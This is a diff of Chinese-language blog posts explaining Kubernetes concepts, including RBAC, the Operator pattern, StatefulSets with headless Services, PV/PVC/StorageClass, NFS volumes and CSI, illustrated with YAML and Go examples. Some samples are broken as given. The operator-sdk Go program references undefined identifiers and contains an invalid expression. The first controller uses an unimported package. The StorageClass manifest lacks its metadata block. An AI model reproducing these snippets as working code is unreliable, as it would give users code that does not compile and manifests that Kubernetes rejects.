Kubernetes API 时,如果她的操作在 Role 的权限范围内,那么她的请求就会被允许。 + +> 需要注意的是,"jane" 用户必须已经在身份验证系统中存在,而且必须能够被 Kubernetes 集群识别。不能在 RoleBinding 中随意定义一个不存在的用户。 + +这种方式提供了一种灵活和精细的方式来管理 Kubernetes 集群的访问权限。 + + +## Operator + +在 Kubernetes 中,Operator 是一种设计模式,它的目标是编写和管理复杂的有状态应用。Operator 是一种自定义的 Kubernetes 控制器,它封装了对特定应用或服务的领域知识,使得这些应用或服务可以在 Kubernetes 上自动化地创建、配置和管理。 + +Operator 的工作原理是通过 Kubernetes 的自定义资源(Custom Resource)和自定义控制器(Custom Controller)来实现的。下面是一些关键概念: + +自定义资源(Custom Resource):自定义资源是 Kubernetes API 的扩展,它可以表示任何想在 Kubernetes 中存储的东西。自定义资源可以是的应用程序的配置,也可以是的应用程序的运行状态。 + +自定义控制器(Custom Controller):自定义控制器是一个自定义的、持续运行的循环,它监视的自定义资源的状态,并尝试使资源的当前状态与期望的状态相匹配。自定义控制器可以读取自定义资源的状态,做出相应的决策,然后更新自定义资源的状态。 + +Operator 就是将自定义资源和自定义控制器结合在一起,使得可以在 Kubernetes 中自动化管理的应用程序或服务。例如,可以创建一个数据库的 Operator,这个 Operator 可以自动化处理数据库的备份、恢复、升级、故障转移等操作。 + +总的来说,Operator 是一种将人类操作员的知识编码到软件中,以便更好地自动化管理 Kubernetes 应用程序的方式。 + +以一个简单的数据库应用为例,假设我们要在 Kubernetes 集群中运行一个 PostgreSQL 数据库。 + +首先,我们需要定义一个自定义资源(Custom Resource),这个资源可能叫做 PostgresDB,它可能包含一些字段,如数据库的版本、副本数、用于存储数据的存储类等。例如: + +```yaml +apiVersion: "db.example.com/v1" +kind: PostgresDB +metadata: + name: my-db +spec: + version: "12" + replicas: 3 + storageClass: "fast-storage" +``` + +然后,我们需要编写一个自定义控制器(Custom Controller)。这个控制器会监视所有的 PostgresDB 资源,并确保对应的 PostgreSQL 数据库在集群中正确地运行。例如,如果我们创建了一个新的 PostgresDB 资源,**控制器可能会创建一个 StatefulSet 来运行数据库的副本,创建一个 Service 来提供网络访问,以及创建一个 PersistentVolumeClaim 来存储数据。** + +此外,控制器还会监视运行中的数据库,并根据需要进行操作。例如,如果我们更改了 PostgresDB 资源中的 version 字段,控制器可能会升级运行中的数据库。如果一个数据库副本失败了,控制器可能会尝试恢复它。 + +最后,我们将这个自定义资源和自定义控制器打包在一起,就形成了一个 PostgreSQL Operator。这个 Operator 可以自动化地在 Kubernetes 集群中创建、管理和维护 PostgreSQL 数据库。 + +这只是一个简单的例子,实际的 Operator 可能会更复杂,包括处理数据库的备份和恢复、自动调整性能、处理故障转移等等。但是基本的概念是一样的:Operator 是一种将人类操作员的知识编码到软件中,以便更好地自动化管理 Kubernetes 应用程序的方式。 + + +以下是一个简单的控制器示例,这个控制器会监视 PostgresDB 资源,并在新的资源被创建时打印一条消息。这只是一个非常基础的示例,实际的控制器需要处理更多的情况,例如更新和删除资源,处理错误等。 + +```go + +package main + +import ( + "fmt" + "time" + + "k8s.io/apimachinery/pkg/fields" + "k8s.io/client-go/tools/cache" + "k8s.io/client-go/util/workqueue" + + dbv1 "your_project/db/api/v1" // 这里需要替换为的项目和 API 的实际路径 +) + +type Controller struct { + indexer cache.Indexer + queue workqueue.RateLimitingInterface + informer cache.Controller +} + +func NewController(queue workqueue.RateLimitingInterface, indexer cache.Indexer, informer cache.Controller) *Controller { + return &Controller{ + informer: informer, + indexer: indexer, + queue: queue, + } +} + +func (c *Controller) processNextItem() bool { + key, quit := c.queue.Get() + if quit { + return false + } + defer c.queue.Done(key) + + err := c.syncToStdout(key.(string)) + c.handleErr(err, key) + return true +} + +func (c *Controller) syncToStdout(key string) error { + obj, exists, err := c.indexer.GetByKey(key) + if err != nil { + fmt.Errorf("Fetching object with key %s from store failed with %v", key, err) + return err + } + + if !exists { + fmt.Printf("PostgresDB %s does not exist anymore\n", key) + } else { + fmt.Printf("Sync/Add/Update for PostgresDB %s\n", obj.(*dbv1.PostgresDB).GetName()) + } + return nil +} + +func (c *Controller) handleErr(err error, key interface{}) { + if err == nil { + c.queue.Forget(key) + return + } + + if c.queue.NumRequeues(key) < 5 { + fmt.Printf("Error syncing PostgresDB %v: %v\n", key, err) + + c.queue.AddRateLimited(key) + return + } + + c.queue.Forget(key) + fmt.Printf("Dropping PostgresDB %q out of the queue: %v\n", key, err) +} + +func (c *Controller) Run(threadiness int, stopCh chan struct{}) { + defer c.queue.ShutDown() + + fmt.Println("Starting PostgresDB controller") + + go c.informer.Run(stopCh) + + if !cache.WaitForCacheSync(stopCh, c.informer.HasSynced) { + fmt.Errorf("Timed out waiting for caches to sync") + return + } + + for i := 0; i < threadiness; i++ { + go wait.Until(c.runWorker, time.Second, stopCh) + } + + <-stopCh + fmt.Println("Stopping PostgresDB controller") +} + +func (c *Controller) runWorker() { + for c.processNextItem() { + } +} + +func main() { + // 这里需要创建 Kubernetes 客户端,然后使用客户端创建 Informer 和 Indexer + // 由于这部分代码比较复杂,这里省略了 +} +``` +这个控制器会创建一个工作队列,并在新的 PostgresDB 资源被创建时将资源的 key 添加到队列中。然后,控制器会启动一些工作线程,这些线程会从队列中取出 key,并处理对应的资源。 + +在这个示例中,处理资源的方法 (syncToStdout) 只是简单地打印一条消息。在实际的控制器中,这个方法可能会创建、更新或删除其他的 Kubernetes 资源,例如 StatefulSet、Service 和 PersistentVolumeClaim。 + +这个示例中省略了一些重要的部分,例如创建 Kubernetes 客户端和 Informer,处理更新和删除事件,以及错误处理。在实际的项目中,需要根据的需求来实现这些部分。 + +Operator 是一种 Kubernetes 的扩展,它使用自定义资源(Custom Resource)和自定义控制器(Custom Controller)来管理应用程序和其组件。Operator 可以理解应用程序的生命周期,并根据应用程序的状态自动执行管理任务,如备份、恢复、升级、故障转移等。 + +以下是一个简单的 Operator 示例,这个 Operator 用于管理 PostgreSQL 数据库。这个示例假设已经定义了一个名为 PostgresDB 的自定义资源,并且已经编写了一个对应的控制器。 + +```go +package main + +import ( + "flag" + "os" + "runtime" + + "github.com/operator-framework/operator-sdk/pkg/k8sutil" + sdkVersion "github.com/operator-framework/operator-sdk/version" + "github.com/sirupsen/logrus" + "k8s.io/klog" + + "github.com/yourusername/postgres-operator/pkg/apis" + "github.com/yourusername/postgres-operator/pkg/controller" + + "github.com/operator-framework/operator-sdk/pkg/log/zap" + "github.com/operator-framework/operator-sdk/pkg/metrics" + "github.com/operator-framework/operator-sdk/pkg/restmapper" + sdkFlags "github.com/operator-framework/operator-sdk/pkg/sdk/flags" + "github.com/operator-framework/operator-sdk/pkg/sdk/server" + "github.com/operator-framework/operator-sdk/pkg/sdk/signal" +) + +func printVersion() { + logrus.Infof("Go Version: %s", runtime.Version()) + logrus.Infof("Go OS/Arch: %s/%s", runtime.GOOS, runtime.GOARCH) + logrus.Infof("operator-sdk Version: %v", sdkVersion.Version) +} + +func main() { + sdkFlags.Parse() + logf := flag.String("log-level", "info", "The log level to use, e.g. info, debug, error, warn, fatal, panic") + level, err := logrus.ParseLevel(*logf) + if err != nil { + logrus.Fatalf("Failed to parse log level: %v", err) + } + logrus.SetLevel(level) + logrus.Info("Starting the Cmd.") + + // To generate metrics in other namespaces, add the values below. + ns, err := k8sutil.GetOperatorNamespace() + if err != nil { + return + } + // Generate and serve custom resource specific metrics. + err = metrics.GenerateAndServeCRMetrics(ns, []string{"foo", "bar", "baz"}, + restmapper.NewDynamicRESTMapper(mgr.GetConfig())) + if err != nil { + logrus.Errorf("Failed to generate and serve custom resource metrics: %v", err) + } + + printVersion() + + s := server.New(postgres-operator/pkg/stub.NewHandler(mgr.GetClient())) + hn, err := os.Hostname() + if err != nil { + logrus.Fatalf("Failed to get hostname: %v", err) + } + logrus.Infof("Metrics service %s created", s.GenerateService(hn, *namespace, metrics.DefaultMetricsPort)) + go s.Serve() + + // Become the leader before proceeding + err = leader.Become(context.TODO(), "postgres-operator-lock") + if err != nil { + logrus.Fatalf("Failed to become leader: %v", err) + } + + resource := "postgresdb.example.com/v1alpha1" + kind := "PostgresDB" + namespace := flag.String("namespace", "", "The namespace to run the operator in. If not specified, the operator will manage resources in all namespaces.") + resyncPeriod := flag.Int("resync", 5, "The resync period in seconds.") + logrus.Infof("Watching %s, %s, %s, %d", resource, kind, *namespace, *resyncPeriod) + sdk.Watch(resource, kind, *namespace, *resyncPeriod) + sdk.Handle(controller.NewPostgresDBHandler()) + sdk.Run(context.TODO()) +} +``` +这个 Operator 会启动一个控制器,这个控制器会监视 PostgresDB 资源的变化,并根据资源的状态来管理 PostgreSQL 数据库。例如,当一个新的 PostgresDB 资源被创建时,控制器可能会创建一个 StatefulSet 来运行数据库的副本,创建一个 Service 来提供网络访问,以及创建一个 PersistentVolumeClaim 来存储数据。 + +这个示例中省略了一些重要的部分,例如创建 Kubernetes 客户端,处理更新和删除事件,以及错误处理。在实际的项目中,需要根据的需求来实现这些部分。 + + +> 以一个简单的数据库应用为例,假设我们要在 Kubernetes 集群中运行一个 Mysql 数据库。 下面是一个编写自定义资源,以及如何编写自定义控制器的例子 + + +以在 Kubernetes 集群中运行一个 MySQL 数据库为例,我们可以创建一个名为 MySQL 的自定义资源,然后创建一个自定义控制器来管理这个资源。 + +首先,我们需要定义 MySQL 自定义资源。这可以通过创建一个 CustomResourceDefinition (CRD) 来完成。以下是一个简单的 CRD 示例: + +```yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + name: mysqls.database.example.com +spec: + group: database.example.com + versions: + - name: v1 + served: true + storage: true + schema: + openAPIV3Schema: + type: object + properties: + spec: + type: object + properties: + replicas: + type: integer + version: + type: string + scope: Namespaced + names: + plural: mysqls + singular: mysql + kind: MySQL + +``` + +apiVersion: apiextensions.k8s.io/v1:这表示我们正在使用 Kubernetes API 的 apiextensions.k8s.io 组的 v1 版本。apiextensions.k8s.io 是用于创建 CRD 的 API 组. + +> 在 Kubernetes 中,API 组是一种将相关的 API 资源逻辑分组的方式。例如,所有与部署(Deployments)、副本集(ReplicaSets)等相关的 API 资源都在 apps API 组中,所有与节点(Nodes)、命名空间(Namespaces)、事件(Events)等相关的 API 资源都在 core API 组中。 + + +> 例如,Kubernetes 的 "apps" API 组包含了与应用相关的 API 资源,如 Deployment、ReplicaSet、StatefulSet 等。当创建、更新或查询这些资源时,实际上是在调用 "apps" API 组中的 API。 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: my-app +spec: + replicas: 3 + selector: + matchLabels: + app: my-app + template: + metadata: + labels: + app: my-app + spec: + containers: + - name: my-app + image: my-app:1.0.0 +``` +> 在这个 Deployment 的 YAML 文件中,apiVersion: apps/v1 表示我们正在使用 "apps" API 组的 v1 版本的 API。 + +> 另一个例子是 "core" API 组,它包含了 Kubernetes 的核心 API 资源,如 Pod、Service、Namespace、Event 等。当创建、更新或查询这些资源时,实际上是在调用 "core" API 组中的 API。 + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: my-pod +spec: + containers: + - name: my-container + image: my-image:1.0.0 + +``` + +> apiextensions.k8s.io 是 Kubernetes 提供的一个特殊的 API 组,它包含了用于创建和管理 CustomResourceDefinitions(CRDs)的 API 资源。当创建一个 CRD 时,实际上是在调用 apiextensions.k8s.io API 组中的 API。 + +> 所以,当我们说 "apiextensions.k8s.io 是用于创建 CRD 的 API 组",意思就是可以使用这个 API 组中的 API 来创建和管理自己的 CRDs。 + + +kind: CustomResourceDefinition:这表示我们正在创建的是一个 CRD。 + +metadata: name: mysqls.database.example.com:这是 CRD 的名称。它由两部分组成:资源的复数形式(mysqls)和组名(database.example.com)。 + +spec::这是 CRD 的规格部分,定义了 CRD 的详细信息。 + +group: database.example.com:这是 API 组的名称,它应该是一个唯一的字符串,通常是一个域名。 + +versions::这是 API 的版本列表。每个版本都有自己的名称(name)、是否被服务(served)以及是否用于存储(storage)。 + +schema::这是资源的模式定义,使用 OpenAPI v3 格式。它定义了资源的结构和属性。 + +scope: Namespaced:这表示资源是命名空间级别的,也就是说,每个资源都属于一个特定的命名空间。另一种选择是 Cluster,表示资源是集群级别的。 + +names::这是资源的名称配置,包括单数形式(singular)、复数形式(plural)以及 Kind(资源类型的名称,通常是单数形式的首字母大写版本)。 + + + +```go +package main + +import ( + "context" + "fmt" + "time" + + apiextensionsv1 "k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1" + apierrors "k8s.io/apimachinery/pkg/api/errors" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/client-go/tools/cache" + "k8s.io/client-go/tools/clientcmd" + "k8s.io/client-go/util/workqueue" + + clientset "github.com/yourusername/yourproject/pkg/generated/clientset/versioned" + informers "github.com/yourusername/yourproject/pkg/generated/informers/externalversions" +) + +func main() { + // 创建 Kubernetes 客户端 + kubeconfig := clientcmd.NewNonInteractiveDeferredLoadingClientConfig( + clientcmd.NewDefaultClientConfigLoadingRules(), + &clientcmd.ConfigOverrides{}, + ) + config, err := kubeconfig.ClientConfig() + if err != nil { + panic(err) + } + client, err := clientset.NewForConfig(config) + if err != nil { + panic(err) + } + + // 创建 Informer,用于监听 MySQL 自定义资源的变化 + informerFactory := informers.NewSharedInformerFactory(client, time.Second*30) + informer := informerFactory.Database().V1().MySQLs().Informer() + queue := workqueue.NewRateLimitingQueue(workqueue.DefaultControllerRateLimiter()) + + // 当 MySQL 自定义资源被创建时,将其添加到工作队列 + informer.AddEventHandler(cache.ResourceEventHandlerFuncs{ + AddFunc: func(obj interface{}) { + key, err := cache.MetaNamespaceKeyFunc(obj) + if err == nil { + queue.Add(key) + } + }, + }) + + // 启动 Informer + stop := make(chan struct{}) + defer close(stop) + informerFactory.Start(stop) + + // 处理工作队列中的项 + for { + key, shutdown := queue.Get() + if shutdown { + break + } + + // 打印一条消息 + fmt.Printf("MySQL resource created: %s\n", key) + + queue.Done(key) + } +} + +``` + + diff --git a/_posts/2023-9-30-test-markdown.md b/_posts/2023-9-30-test-markdown.md new file mode 100644 index 000000000000..a65004a98525 --- /dev/null +++ b/_posts/2023-9-30-test-markdown.md @@ -0,0 +1,404 @@ +--- +layout: post +title: Operator工作原理 +subtitle: +tags: [Kubernetes] +--- + +### Kubernetes 中有状态应用的管理方法 + +在 Kubernetes 中,有状态应用(Stateful Applications)通常指需要保存状态或持久化数据的应用,如数据库(MySQL, PostgreSQL 等)和消息队列(Kafka, RabbitMQ等)。 + +对于这类应用,Kubernetes 提供了一种叫做 StatefulSet 的工作负载 API 对象。StatefulSet 是为了解决有状态应用的特定问题(例如网络标识和持久存储)而创建的。与 Deployment 和 ReplicaSet 这类无状态应用控制器不同,StatefulSet 为每个 Pod 维护一个粘性身份,并保证 Pod 的部署和扩展顺序。 + +StatefulSet 提供的主要特性包括: + +> 稳定、唯一的网络标识:每个 Pod 从 StatefulSet 创建时就拥有一个唯一的标识符,即使 Pod 被重新调度,这个标识符也不会改变。 + +> 稳定、持久的存储:StatefulSet 可以使用 PersistentVolume 提供持久化存储。**当 Pod 被重新调度时,与之关联的 Persistent Volumes 会被重新挂载。** + +> 有序的、优雅的部署和扩展:当 Pod 被停止时,StatefulSet 会保证其在完全停止前不会启动其他的 Pod。 + +> 有序的、优雅的删除和终止:当需要删除 Pods,StatefulSet 会以逆序保证它们的安全删除。 + +> 有序的滚动更新:StatefulSet 的更新可以是有序的自动滚动更新。 + +> 在实际操作中,StatefulSet 通常与 PersistentVolume 和 PersistentVolumeClaim 一起使用,以保证数据的持久化存储。此外,有状态应用通常需要一个稳定的网络标识和发现机制,这可以通过 Kubernetes 的 Service 来提供。 + +例如,对于运行 MySQL 数据库的有状态应用,我们可能会创建一个名为 "mysql" 的 StatefulSet 和一个同样命名为 "mysql" 的 Service。此时,StatefulSet 中的每个 Pod 都会获得一个唯一的主机名,比如 "mysql-0"、"mysql-1",等等。 + +当我们创建了一个 Service,该 Service 就会得到一个 DNS 名称,如 "mysql.default.svc.cluster.local"。Pods 可以通过这个 DNS 名称找到并连接到 MySQL 服务。此外,StatefulSet 中的每个 Pod 还会得到它们自己的 DNS 主机名,如 "mysql-0.mysql.default.svc.cluster.local","mysql-1.mysql.default.svc.cluster.local"。这样,每个 Pod 都有一个稳定的网络标识,而其他 Pods 可以使用这个网络标识找到并连接到特定的 Pod。 + + +当创建一个 Service,Kubernetes 的 DNS 服务会为这个 Service 创建一个 DNS 记录。此 DNS 名称遵循如下的格式:·`..svc.cluster.local`。其中,`` 是创建的 Service 的名称,`` 是这个 Service 所在的命名空间名称,svc 和 cluster.local 是默认的后缀。 + +Pod 可以通过使用这个 DNS 名称来访问 Service,而不需要知道服务背后具体由哪些 Pod 提供。Kubernetes 会自动将网络请求转发到这个 Service 关联的一个或多个 Pod 上。 + +当创建一个 StatefulSet 时,如果同时为这个 StatefulSet 创建了一个同名的 Service,那么 Kubernetes 不仅会为这个 Service 创建一个 DNS 记录,还会为 StatefulSet 中的每个 Pod 创建一个 DNS 记录,这个记录的格式如下:`...svc.cluster.local`。其中,`` 是 Pod 的名称,它是基于 StatefulSet 名称和 Pod 在 StatefulSet 中的索引号生成的。 + +这样,StatefulSet 中的每个 Pod 不仅有自己唯一的 DNS 名称,而且这个 DNS 名称是稳定的,不会因为 Pod 重启或被替换而改变。同时,Pod 还可以通过 Service 的 DNS 名称来访问 StatefulSet 中的其他 Pod,从而实现 Pod 间的通信。 + +当我们创建一个 StatefulSet,我们通常会为其创建一个同名的 Headless Service 来控制网络域。这个 Headless Service 不会有一个 ClusterIP,而是直接返回后端 Pods 的 IP 地址。举个例子: + +```yaml +apiVersion: v1 +kind: Service +metadata: + name: web + labels: + app: nginx +spec: + ports: + - port: 80 + name: web + clusterIP: None + selector: + app: nginx +``` +然后,我们创建一个 StatefulSet,这个 StatefulSet 的名称也是 "web": + +```yaml +apiVersion: apps/v1 +kind: StatefulSet +metadata: + name: web +spec: + serviceName: "web" + replicas: 3 + selector: + matchLabels: + app: nginx + template: + metadata: + labels: + app: nginx + spec: + containers: + - name: nginx + image: k8s.gcr.io/nginx-slim:0.8 + ports: + - containerPort: 80 + name: web + +``` + +我们创建了一个 StatefulSet,它有 3 个 Pod。这个 StatefulSet 使用的服务名称(serviceName)是 "web",这是我们之前创建的 Headless Service 的名称。 + +由于我们的 Headless Service 和 StatefulSet 名称相同,Kubernetes 会为每个 Pod 创建一个唯一的 DNS 记录,格式为` ...svc.cluster.local`。这样,这些 Pod 就可以通过 DNS 名称来互相发现和通信了。例如,第一个 Pod 的 DNS 名称会是 web-0.web.default.svc.cluster.local(假设这个 Pod 和 Service 都在默认命名空间)。 + + +> 首先,要明确一点,一个 StatefulSet 下并不会有多个 Service。StatefulSet 是与一个 Headless Service(也就是没有 ClusterIP 的 Service)关联的,这个 Service 主要是为 StatefulSet 中的每个 Pod 提供一个稳定的网络标识。 + +> web-0.web.default.svc.cluster.local 和 web-0.web1.default.svc.cluster.local 当然是可以通信的,前提是网络策略允许。这两个地址都是 DNS 名称,解析后会得到对应 Pod 的 IP 地址。在 Kubernetes 中,Pod 之间是可以进行网络通信的(除非被网络策略限制)。 + +> 但这里需要注意的是,web-0.web.default.svc.cluster.local 和 web-0.web1.default.svc.cluster.local 分别属于不同的 StatefulSet,web 和 web1 应该是两个不同的 StatefulSet(因为一个 StatefulSet 对应一个 Headless Service,StatefulSet 名称和对应的 Headless Service 名称通常是一致的)。他们之间的通信并不是 StatefulSet 为了实现 Pod 之间的稳定网络通信而设计的,而是 Kubernetes 网络模型的一部分:所有 Pod 都处在一个扁平的、共享的网络地址空间中,可以直接通过 IP 地址进行通信。 + +> 所以,即使不用 Service,只要知道了对方 Pod 的 IP 地址,Pod 之间也是可以进行通信的。Service(特别是 Headless Service)的主要作用是提供了一种基于 DNS 的、名字到地址的解析机制,使得 Pod 之间可以通过稳定的、易于理解的名字来进行通信,而不必关心对方的具体 IP 地址。 + +> 如何理解:基于 DNS 的名字到地址的解析机制? +> 当创建一个 Service 时,Kubernetes 控制平面会为该 Service 分配一个固定的 IP 地址,称为 Cluster IP。这个 Cluster IP 地址在整个集群的生命周期内都是不变的,无论背后的 Pods 如何更换。因此,其他的 Pods 或者节点可以通过这个 Cluster IP 来访问 Service,进而访问背后的 Pods。 +> 但是,IP 地址并不是很直观,很难记住。这就是 DNS 的作用。在 Kubernetes 中,有一个组件叫做 Kube-DNS 或者 CoreDNS,它们会监听 Kubernetes API,当有新的 Service 创建时,就会为这个 Service 生成一个 DNS 记录。这个 DNS 记录的格式通常是 `..svc.cluster.local`,它会解析到对应 Service 的 Cluster IP。这样,其他的 Pods 就可以通过这个 DNS 名称来访问 Service,而不必记住复杂的 IP 地址。 +> 让我们来看看 Headless Service。Headless Service 是没有 Cluster IP 的 Service。当为一个 StatefulSet 创建一个 Headless Service 时,Kube-DNS 或者 CoreDNS 不会为这个 Service 生成一个解析到 Cluster IP 的 DNS 记录,而是会为 StatefulSet 中的每一个 Pod 生成一个独立的 DNS 记录。这个 DNS 记录的格式是 `...svc.cluster.local`,它会解析到对应 Pod 的 IP 地址。 +> 这就是我说的基于 DNS 的名字到地址的解析机制。这样,StatefulSet 中的每一个 Pod 都可以通过其他 Pod 的 DNS 名称来进行通信,而不必关心对方的具体 IP 地址。例如,如果 StatefulSet 的名字是 web,Headless Service 的名字也是 web,那么第一个 Pod(名字是 web-0)可以通过 web-1.web.default.svc.cluster.local 来访问第二个 Pod(名字是 web-1)。 +> 因此,StatefulSet + Headless Service 提供了一种机制,让有状态应用中的每一个实例(即 Pod)都可以拥有一个稳定的网络标识(即 DNS 名称),并且这个网络标识在 Pod 重启或者迁移时不会改变. + +例如,如果有一个 StatefulSet 叫做 web,并且为它创建了一个同名的 Headless Service,那么这个 StatefulSet 的第一个 Pod(名称为 web-0)就会拥有一个 DNS 记录 web-0.web.default.svc.cluster.local(这里假设他们在 default 命名空间),而这个 DNS 记录会解析到 Pod web-0 的 IP 地址。同样,第二个 Pod(名称为 web-1)就会拥有一个 DNS 记录 web-1.web.default.svc.cluster.local,这个 DNS 记录会解析到 Pod web-1 的 IP 地址。 + +这种机制确保了,即使 Pod 重新调度或者迁移到其他节点,它的网络标识(即 DNS 记录)仍然保持不变,因为 DNS 记录是基于 Pod 的名称,而 Pod 的名称在整个生命周期内是不变的。这对于一些需要稳定网络标识的有状态应用(如数据库和分布式存储系统)来说是非常重要的。 + +### Operator 管理“有状态应用” + + +Operator 是由 CoreOS 提出的,用于扩展 Kubernetes API 以自动管理复杂状态应用的一种方法。简单来说,一个 Operator 是一个运行在 Kubernetes 集群中的自定义控制器,它使用自定义资源(Custom Resource)来表示被管理的应用或组件,并且定义了应用或组件的全生命周期管理逻辑。 + +例如,假设我们有一个基于分区(sharding)的数据库,该数据库有自己的特殊需求,比如在扩容或者缩容时需要按照一定的顺序进行,或者在进行数据备份和恢复时需要特殊的处理。这些需求超出了 Kubernetes 的 StatefulSet 和服务(Service)能提供的功能范围。 + +在这种情况下,我们就可以创建一个 Operator。首先,我们会定义一个 Custom Resource Definition(CRD),比如叫做 ShardedDatabase。这个 ShardedDatabase 就代表了我们的这个分区数据库。 + +然后,我们会实现并运行一个自定义的控制器,也就是 Operator。这个 Operator 会监控所有的 ShardedDatabase 对象,然后根据 ShardedDatabase 的规格(Spec)来创建或更新相应的资源,例如 StatefulSet、服务(Service)等等。 + +例如,当我们创建一个新的 ShardedDatabase 对象时,Operator 会看到这个新的对象,然后创建一系列的 StatefulSet 和服务(Service)来部署这个数据库。如果我们更新了 ShardedDatabase 对象的规格(例如,改变了分区数量),Operator 也会看到这个变化,然后按照数据库的需求来更新 StatefulSet(例如,按照正确的顺序添加或删除副本)。 + +此外,Operator 还可以管理数据库的其他生命周期事件,例如备份、恢复、升级等等。这些事件可以通过更新 ShardedDatabase 对象的状态(Status)或其他方法来触发。 + +总的来说,Operator 通过扩展 Kubernetes API,并定义和实现应用特定的管理逻辑,使得我们可以像管理无状态应用那样管理有状态应用。而且,由于 Operator 运行在 Kubernetes 集群中,并使用标准的 Kubernetes 工具和 API,我们可以使用相同的工具(如 kubectl 和 Dashboard)来管理 Operator 和它管理的应用。 + +### PV、PVC、StorageClass + + +在Kubernetes中,PV(Persistent Volume)、PVC(Persistent Volume Claim)和StorageClass是用于管理存储的关键资源。以下是这三者的解释和区别,并附带一个实际的例子来说明如何使用它们。 + +PV (Persistent Volume) +PV是集群中的一块持久存储空间。它可以是网络存储、云提供商的存储,或者本地物理磁盘。管理员通常负责创建和维护PV。 + +PVC (Persistent Volume Claim) +PVC是用户对PV的请求或声明。它允许用户以一种抽象的方式请求存储,无需知道背后具体的存储实现。PVC可以指定所需的存储大小和访问模式(例如,读写一次或只读)。 + +StorageClass +StorageClass是用于定义不同“类别”存储的模板。管理员可以定义一个或多个StorageClass来描述集群提供的不同类型的存储(例如,高性能、冷存储等)。用户可以在PVC中指定StorageClass,以便按需自动创建和配置PV。 + + +假设想要在Kubernetes集群中为MySQL数据库提供一个10GB的持久存储空间。以下是步骤: + + +> 定义StorageClass:(可选) + +如果想让PVC动态创建PV,可以先定义一个StorageClass。 + +```yaml +apiVersion: storage.k8s.io/v1 +kind: StorageClass +name: fast-storage +provisioner: kubernetes.io/gce-pd +parameters: + type: pd-ssd +``` + +这将创建一个名为“fast-storage”的StorageClass,使用Google Cloud Platform的SSD持久磁盘。 + + +> 创建PVC: + +然后,可以创建一个PVC来请求10GB的存储,并选择先前定义的StorageClass。 + +```yaml +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: + name: mysql-pvc +spec: + accessModes: + - ReadWriteOnce + storageClassName: fast-storage + resources: + requests: + storage: 10Gi + +``` + +> 使用PVC在Pod中: + +一旦PVC被创建和绑定到一个PV,可以在Pod的定义中引用它。 + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: mysql-pod +spec: + containers: + - name: mysql + image: mysql + volumeMounts: + - name: mysql-storage + mountPath: /var/lib/mysql + volumes: + - name: mysql-storage + persistentVolumeClaim: + claimName: mysql-pvc +``` + +PV是集群的实际存储资源,通常由管理员创建和管理。 +PVC是对PV的请求,允许用户抽象地请求存储。 +StorageClass定义了存储的“类别”,允许动态创建PV,为PVC提供了更大的灵活性。 + +在这个例子中: + +spec.volumes 部分定义了一个名为 mysql-storage 的 Volume,该 Volume 指向一个名为 mysql-pvc 的 PVC。 +spec.containers.volumeMounts 部分定义了一个挂载点,该挂载点将 Volume mysql-storage 挂载到容器的 /var/lib/mysql 目录。 +这样,Pod 中的 mysql-pod 容器就可以通过路径 /var/lib/mysql 读写 PV 上的数据。 +一旦这个 Pod 启动,Kubernetes 会确保该 PVC 指向的 PV(也就是实际的存储资源)被挂载到容器的 /var/lib/mysql 目录。这样,任何写入 /var/lib/mysql 目录的数据都会被写入 PV,从而实现数据的持久化。 + +这是一个基本的用法,Kubernetes 提供了更复杂的存储选项,例如多容器共享同一存储、使用只读存储等,可以根据实际需求进行选择。 + + +**Volume 类型是远程块存**: + +下面是一个使用 AWS EBS 作为远程块存储的 PV 示例。 +```yaml +apiVersion: v1 +kind: PersistentVolume +metadata: + name: mypv +spec: + capacity: + storage: 10Gi + volumeMode: Block + accessModes: + - ReadWriteOnce + persistentVolumeReclaimPolicy: Retain + storageClassName: my-sc + awsElasticBlockStore: + volumeID: "" +``` + +spec.capacity 定义了 PV 的容量,这个值应该根据远程块存储的实际大小来设定。 +spec.volumeMode: Block 指示 Kubernetes 这是一个块存储。 +spec.accessModes 描述了 PV 的访问模式,这通常取决于远程存储的类型和配置。 + +**Volume 类型是远程文件存储**: + +如 NFS(Network File System),在 Kubernetes 中,kubelet 的处理过程确实会更简单一些。下面就来具体说说这个过程: + +在使用 NFS 类型的远程文件存储时,kubelet 可以跳过第一阶段(Attach)的操作。这是因为 NFS 本身就是一个分布式文件系统,不需要把存储设备挂载到宿主机上。相反,它允许客户端直接通过网络访问其上的文件。因此,kubelet 可以直接进入第二阶段(Mount)。 + +在这个阶段,kubelet 会在宿主机上准备一个目录作为 Volume。然后,kubelet 作为 NFS 客户端,会把远程 NFS 服务器的某个目录(例如,“/” 目录)挂载到这个宿主机上的 Volume 目录。这样,Pod 就可以通过这个 Volume 目录来访问 NFS 服务器上的文件了。 + +在 Kubernetes 中,可以通过 PersistentVolume (PV) 和 PersistentVolumeClaim (PVC) 来使用 NFS 存储。例如,可以创建一个 PV,指定其类型为 NFS,并提供 NFS 服务器的详细信息: + +```yaml +apiVersion: v1 +kind: PersistentVolume +metadata: + name: mypv +spec: + capacity: + storage: 10Gi + accessModes: + - ReadWriteMany + persistentVolumeReclaimPolicy: Retain + nfs: + path: /mydata + server: nfsserver.example.com +``` +在上面的例子中,spec.nfs.path 是 NFS 服务器上的目录,spec.nfs.server 是 NFS 服务器的地址。然后,Pod 可以通过 PVC 来使用这个 PV,从而访问 NFS 服务器上的文件。 + +这种方式可以使得 Kubernetes 中的应用能够以一种统一的方式来访问各种类型的存储,包括远程文件存储,如 NFS。而且,由于 NFS 是一个分布式文件系统,它允许多个 Pod 同时读写同一个 Volume,这对于一些有共享存储需求的应用是非常有用的。 + + +### CSI-容器存储接口 + +CSI (Container Storage Interface):CSI 是一种标准化的接口,定义了 Kubernetes 和存储驱动之间的交互方式。 + +CSI 驱动:这是一种特殊类型的插件,实现了 CSI 接口,以此将存储系统接入 Kubernetes。 + +Kubelet 插件注册机制:这是一种用于发现和注册 Kubelet 插件的机制,包括 CSI 驱动。通过这个机制,Kubelet 能够知道哪些 CSI 驱动存在,以及如何与它们进行通信。 + +在这个过程中,CSI 驱动会在每个节点上运行,并使用 Kubelet 插件注册机制向 Kubelet 注册自己。**CSI 驱动程序需要提供一个 Unix 域套接字**,Kubelet 就通过这个套接字与 CSI 驱动进行通信。 + +当一个 